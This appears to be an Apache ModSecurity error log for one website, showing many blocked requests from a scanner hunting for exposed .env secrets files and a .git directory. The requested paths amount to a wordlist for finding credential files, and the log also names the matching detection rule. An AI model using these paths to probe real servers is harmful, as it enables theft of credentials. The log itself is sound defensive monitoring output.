[Fri Mar 27 16:41:39.630903 2026] [:error] [pid 63897:tid 63904] [client 172.70.248.65:12107] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/core/.env"] [unique_id "acZCw2VSkmYmLu7ycYgS_QAAAQU"]
[Fri Mar 27 16:41:39.647175 2026] [:error] [pid 27851:tid 27880] [client 172.70.248.65:12106] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "acZCw3R2ccxe3RMCLbq_ggAAANY"]
[Fri Mar 27 16:41:39.663732 2026] [:error] [pid 63897:tid 63909] [client 172.70.248.64:12678] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/private/.env"] [unique_id "acZCw2VSkmYmLu7ycYgS_gAAAQo"]
[Fri Mar 27 16:41:40.421554 2026] [:error] [pid 63897:tid 63910] [client 172.70.248.65:12120] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env.local"] [unique_id "acZCxGVSkmYmLu7ycYgTAgAAAQs"]
[Fri Mar 27 16:41:40.626525 2026] [:error] [pid 27749:tid 27795] [client 172.70.248.65:11991] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.php"] [unique_id "acZCxMEqyoMni2Q6_X7RqgAAAEQ"]
[Fri Mar 27 16:41:40.692221 2026] [:error] [pid 27851:tid 27874] [client 172.70.248.65:12001] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "acZCxHR2ccxe3RMCLbq_hgAAANA"]
[Fri Mar 27 16:41:40.712899 2026] [:error] [pid 27851:tid 27861] [client 172.70.248.65:11995] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "acZCxHR2ccxe3RMCLbq_hwAAAMM"]
[Fri Mar 27 16:41:40.736664 2026] [:error] [pid 27851:tid 27863] [client 172.70.248.64:12593] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_backup"] [unique_id "acZCxHR2ccxe3RMCLbq_iAAAAMU"]
[Fri Mar 27 16:41:41.689922 2026] [:error] [pid 27749:tid 27802] [client 172.70.248.65:12003] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "acZCxcEqyoMni2Q6_X7RqwAAAEs"]
[Fri Mar 27 16:42:01.126354 2026] [:error] [pid 27743:tid 27773] [client 172.69.186.183:10285] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev.local"] [unique_id "acZC2SA46UYYLqzw99B7MQAAAAk"]
[Fri Mar 27 16:42:01.411903 2026] [:error] [pid 27743:tid 27781] [client 172.69.186.195:13761] [client 172.69.186.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "acZC2SA46UYYLqzw99B7MwAAABE"]
[Fri Mar 27 16:42:01.617592 2026] [:error] [pid 27743:tid 27771] [client 172.69.186.20:10179] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.container"] [unique_id "acZC2SA46UYYLqzw99B7NQAAAAc"]
[Fri Mar 27 16:42:01.699478 2026] [:error] [pid 27743:tid 27769] [client 172.69.186.195:13764] [client 172.69.186.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env"] [unique_id "acZC2SA46UYYLqzw99B7NgAAAAU"]
[Fri Mar 27 16:42:01.980700 2026] [:error] [pid 27851:tid 27868] [client 172.69.186.182:10914] [client 172.69.186.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env.local"] [unique_id "acZC2XR2ccxe3RMCLbq_pAAAAMo"]
[Fri Mar 27 16:42:02.244990 2026] [:error] [pid 63897:tid 63903] [client 172.69.186.221:13637] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/server/.env"] [unique_id "acZC2mVSkmYmLu7ycYgTJwAAAQQ"]
[Fri Mar 27 16:42:02.509195 2026] [:error] [pid 27851:tid 27863] [client 172.69.186.221:13639] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/srv/.env"] [unique_id "acZC2nR2ccxe3RMCLbq_pgAAAMU"]
[Fri Mar 27 16:42:02.791801 2026] [:error] [pid 27750:tid 27838] [client 172.69.186.25:10740] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/web/.env"] [unique_id "acZC2oaSil5rd17ieLzH1AAAAJQ"]
[Fri Mar 27 16:42:03.088856 2026] [:error] [pid 27750:tid 27841] [client 172.69.186.194:9319] [client 172.69.186.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/site/.env"] [unique_id "acZC24aSil5rd17ieLzH1gAAAJc"]
[Fri Mar 27 16:42:03.350149 2026] [:error] [pid 63897:tid 63909] [client 172.69.186.21:12306] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/www/.env"] [unique_id "acZC22VSkmYmLu7ycYgTKQAAAQo"]
[Fri Mar 27 16:42:03.622508 2026] [:error] [pid 27750:tid 27831] [client 172.69.186.221:13644] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/.env"] [unique_id "acZC24aSil5rd17ieLzH2QAAAI0"]
[Fri Mar 27 16:42:03.882890 2026] [:error] [pid 63897:tid 63907] [client 172.69.186.20:10185] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/html/.env"] [unique_id "acZC22VSkmYmLu7ycYgTKwAAAQg"]
[Fri Mar 27 16:42:04.171166 2026] [:error] [pid 27749:tid 27799] [client 172.69.186.25:10743] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/home/.env"] [unique_id "acZC3MEqyoMni2Q6_X7RtwAAAEg"]
[Fri Mar 27 16:42:04.461992 2026] [:error] [pid 27743:tid 27773] [client 172.69.186.25:10751] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/root/.env"] [unique_id "acZC3CA46UYYLqzw99B7PAAAAAk"]
[Fri Mar 27 16:42:04.751300 2026] [:error] [pid 27743:tid 27776] [client 172.69.186.24:10609] [client 172.69.186.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_config"] [unique_id "acZC3CA46UYYLqzw99B7PQAAAAw"]
[Fri Mar 27 16:42:05.047634 2026] [:error] [pid 27743:tid 27780] [client 172.69.186.194:9323] [client 172.69.186.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_secret"] [unique_id "acZC3SA46UYYLqzw99B7PwAAABA"]
[Fri Mar 27 16:42:05.339396 2026] [:error] [pid 63897:tid 63923] [client 172.69.186.195:13770] [client 172.69.186.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_settings"] [unique_id "acZC3WVSkmYmLu7ycYgTLQAAARg"]
[Fri Mar 27 16:42:05.630266 2026] [:error] [pid 63897:tid 63908] [client 172.69.186.195:13777] [client 172.69.186.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local.backup"] [unique_id "acZC3WVSkmYmLu7ycYgTLgAAAQk"]
[Fri Mar 27 16:42:25.189598 2026] [:error] [pid 4293:tid 4307] [client 172.69.186.183:12146] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/main"] [unique_id "acZC8ZLjeJUC3OKtEx_2BwAAAUw"]
[Fri Mar 27 16:42:25.213246 2026] [:error] [pid 4293:tid 4298] [client 172.69.186.21:12923] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "acZC8ZLjeJUC3OKtEx_2CAAAAUM"]
[Fri Mar 27 16:42:25.478089 2026] [:error] [pid 63897:tid 63915] [client 172.69.186.221:11929] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "acZC8WVSkmYmLu7ycYgTQwAAARA"]
[Fri Mar 27 16:42:25.723624 2026] [:error] [pid 4293:tid 4310] [client 172.69.186.183:12154] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "acZC8ZLjeJUC3OKtEx_2CQAAAU8"]
[Fri Mar 27 16:42:25.998421 2026] [:error] [pid 4293:tid 4304] [client 172.69.186.218:13671] [client 172.69.186.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "acZC8ZLjeJUC3OKtEx_2CgAAAUk"]
[Fri Mar 27 16:42:26.280365 2026] [:error] [pid 4341:tid 4356] [client 172.69.186.25:13529] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "acZC8uKJWrNB5dMlERFSlQAAAY0"]
[Fri Mar 27 16:42:26.542630 2026] [:error] [pid 4341:tid 4351] [client 172.69.186.21:12926] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "acZC8uKJWrNB5dMlERFSlgAAAYg"]
[Fri Mar 27 16:42:26.820567 2026] [:error] [pid 4341:tid 4343] [client 172.69.186.183:12155] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "acZC8uKJWrNB5dMlERFSmAAAAYA"]
[Fri Mar 27 16:42:27.097536 2026] [:error] [pid 4341:tid 4350] [client 172.69.186.25:13534] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "acZC8-KJWrNB5dMlERFSmgAAAYc"]
[Fri Mar 27 16:42:27.380473 2026] [:error] [pid 4341:tid 4364] [client 172.69.186.218:13674] [client 172.69.186.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "acZC8-KJWrNB5dMlERFSnAAAAZU"]
[Fri Mar 27 16:42:27.640798 2026] [:error] [pid 27743:tid 27775] [client 172.69.186.20:13665] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "acZC8yA46UYYLqzw99B7sAAAAAs"]
[Fri Mar 27 16:42:27.919742 2026] [:error] [pid 27851:tid 27876] [client 172.69.186.183:12158] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.tmp"] [unique_id "acZC83R2ccxe3RMCLbq_tgAAANI"]
[Fri Mar 27 16:42:28.173871 2026] [:error] [pid 27750:tid 27826] [client 172.69.186.21:11967] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "acZC9IaSil5rd17ieLzH6QAAAIg"]
[Fri Mar 27 16:42:28.455378 2026] [:error] [pid 27851:tid 27879] [client 172.69.186.218:13677] [client 172.69.186.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.local"] [unique_id "acZC9HR2ccxe3RMCLbq_twAAANU"]
[Fri Mar 27 16:42:28.722174 2026] [:error] [pid 4341:tid 4352] [client 172.69.186.221:11932] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development.local"] [unique_id "acZC9OKJWrNB5dMlERFSoAAAAYk"]
[Fri Mar 27 16:42:28.998677 2026] [:error] [pid 4293:tid 4298] [client 172.69.186.25:13535] [client 172.69.186.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env"] [unique_id "acZC9JLjeJUC3OKtEx_2DgAAAUM"]
[Fri Mar 27 16:42:29.280106 2026] [:error] [pid 4293:tid 4311] [client 172.69.186.183:12161] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "acZC9ZLjeJUC3OKtEx_2DwAAAVA"]
[Fri Mar 27 16:42:29.540149 2026] [:error] [pid 4341:tid 4344] [client 172.69.186.221:11938] [client 172.69.186.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "acZC9eKJWrNB5dMlERFSoQAAAYE"]
[Fri Mar 27 16:42:29.793746 2026] [:error] [pid 27743:tid 27785] [client 172.69.186.20:9672] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "acZC9SA46UYYLqzw99B7tAAAABU"]
[Fri Mar 27 16:42:30.066604 2026] [:error] [pid 27743:tid 27767] [client 172.69.186.220:12849] [client 172.69.186.220] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "acZC9iA46UYYLqzw99B7tQAAAAM"]
[Fri Mar 27 16:42:30.340517 2026] [:error] [pid 27743:tid 27768] [client 172.69.186.183:11507] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/core/.env"] [unique_id "acZC9iA46UYYLqzw99B7tgAAAAQ"]
[Fri Mar 27 16:42:30.595061 2026] [:error] [pid 4341:tid 4346] [client 172.69.186.20:9678] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "acZC9uKJWrNB5dMlERFSogAAAYM"]
[Fri Mar 27 16:42:30.854200 2026] [:error] [pid 27750:tid 27841] [client 172.69.186.20:9680] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/private/.env"] [unique_id "acZC9oaSil5rd17ieLzH6gAAAJc"]
[Fri Mar 27 16:42:32.472961 2026] [:error] [pid 27749:tid 27804] [client 172.69.186.20:9686] [client 172.69.186.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env.local"] [unique_id "acZC-MEqyoMni2Q6_X7R1wAAAE0"]
[Fri Mar 27 16:42:32.751635 2026] [:error] [pid 4293:tid 4319] [client 172.69.186.182:9463] [client 172.69.186.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.php"] [unique_id "acZC-JLjeJUC3OKtEx_2FQAAAVg"]
[Fri Mar 27 16:42:33.025041 2026] [:error] [pid 4293:tid 4301] [client 172.69.186.183:11515] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "acZC-ZLjeJUC3OKtEx_2FwAAAUY"]
[Fri Mar 27 16:42:33.302201 2026] [:error] [pid 4293:tid 4315] [client 172.69.186.218:12712] [client 172.69.186.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_backup"] [unique_id "acZC-ZLjeJUC3OKtEx_2GgAAAVQ"]
[Fri Mar 27 16:42:42.063172 2026] [:error] [pid 63897:tid 63902] [client 172.69.186.21:10769] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env1"] [unique_id "acZDAmVSkmYmLu7ycYgTTAAAAQM"]
[Fri Mar 27 16:42:42.082455 2026] [:error] [pid 4293:tid 4315] [client 172.69.186.183:9779] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env2"] [unique_id "acZDApLjeJUC3OKtEx_2LwAAAVQ"]
[Fri Mar 27 16:42:42.084226 2026] [:error] [pid 63897:tid 63919] [client 172.69.186.219:10415] [client 172.69.186.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "acZDAmVSkmYmLu7ycYgTTQAAARQ"]
